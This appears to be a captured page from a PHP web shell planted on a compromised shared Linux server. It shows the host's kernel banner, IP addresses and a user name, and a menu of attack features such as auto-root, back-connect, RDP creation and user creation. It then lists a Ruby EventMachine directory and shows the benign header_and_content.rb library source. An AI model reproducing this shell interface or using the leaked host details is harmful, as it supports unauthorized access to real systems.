Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
em /
protocols /
[ HOME SHELL ]
Name
Size
Permission
Action
header_and_content.rb
4.03
KB
-rw-r--r--
httpclient.rb
11.15
KB
-rw-r--r--
httpclient2.rb
17.62
KB
-rw-r--r--
line_and_text.rb
4.38
KB
-rw-r--r--
line_protocol.rb
702
B
-rw-r--r--
linetext2.rb
6.06
KB
-rw-r--r--
memcache.rb
7.62
KB
-rw-r--r--
object_protocol.rb
1.16
KB
-rw-r--r--
postgres3.rb
7.8
KB
-rw-r--r--
saslauth.rb
5.89
KB
-rw-r--r--
smtpclient.rb
13.78
KB
-rw-r--r--
smtpserver.rb
21.57
KB
-rw-r--r--
socks4.rb
1.45
KB
-rw-r--r--
stomp.rb
5.61
KB
-rw-r--r--
tcptest.rb
1.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : header_and_content.rb
#-- # # Author:: Francis Cianfrocca (gmail: blackhedd) # Homepage:: http://rubyeventmachine.com # Date:: 15 Nov 2006 # # See EventMachine and EventMachine::Connection for documentation and # usage examples. # #---------------------------------------------------------------------------- # # Copyright (C) 2006-07 by Francis Cianfrocca. All Rights Reserved. # Gmail: blackhedd # # This program is free software; you can redistribute it and/or modify # it under the terms of either: 1) the GNU General Public License # as published by the Free Software Foundation; either version 2 of the # License, or (at your option) any later version; or 2) Ruby's License. # # See the file COPYING for complete licensing information. # #--------------------------------------------------------------------------- # # module EventMachine module Protocols # === Usage # # class RequestHandler < EM::P::HeaderAndContentProtocol # def receive_request headers, content # p [:request, headers, content] # end # end # # EM.run{ # EM.start_server 'localhost', 80, RequestHandler # } # #-- # Originally, this subclassed LineAndTextProtocol, which in # turn relies on BufferedTokenizer, which doesn't gracefully # handle the transitions between lines and binary text. # Changed 13Sep08 by FCianfrocca. class HeaderAndContentProtocol < Connection include LineText2 ContentLengthPattern = /Content-length:\s*(\d+)/i def initialize *args super init_for_request end def receive_line line case @hc_mode when :discard_blanks unless line == "" @hc_mode = :headers receive_line line end when :headers if line == "" raise "unrecognized state" unless @hc_headers.length > 0 if respond_to?(:receive_headers) receive_headers @hc_headers end # @hc_content_length will be nil, not 0, if there was no content-length header. if @hc_content_length.to_i > 0 set_binary_mode @hc_content_length else dispatch_request end else @hc_headers << line if ContentLengthPattern =~ line # There are some attacks that rely on sending multiple content-length # headers. This is a crude protection, but needs to become tunable. raise "extraneous content-length header" if @hc_content_length @hc_content_length = $1.to_i end if @hc_headers.length == 1 and respond_to?(:receive_first_header_line) receive_first_header_line line end end else raise "internal error, unsupported mode" end end def receive_binary_data text @hc_content = text dispatch_request end def dispatch_request if respond_to?(:receive_request) receive_request @hc_headers, @hc_content end init_for_request end private :dispatch_request def init_for_request @hc_mode = :discard_blanks @hc_headers = [] # originally was @hc_headers ||= []; @hc_headers.clear to get a performance # boost, but it's counterproductive because a subclassed handler will have to # call dup to use the header array we pass in receive_headers. @hc_content_length = nil @hc_content = "" end private :init_for_request # Basically a convenience method. We might create a subclass that does this # automatically. But it's such a performance killer. def headers_2_hash hdrs self.class.headers_2_hash hdrs end class << self def headers_2_hash hdrs hash = {} hdrs.each {|h| if /\A([^\s:]+)\s*:\s*/ =~ h tail = $'.dup hash[ $1.downcase.gsub(/-/,"_").intern ] = tail end } hash end end end end end
Close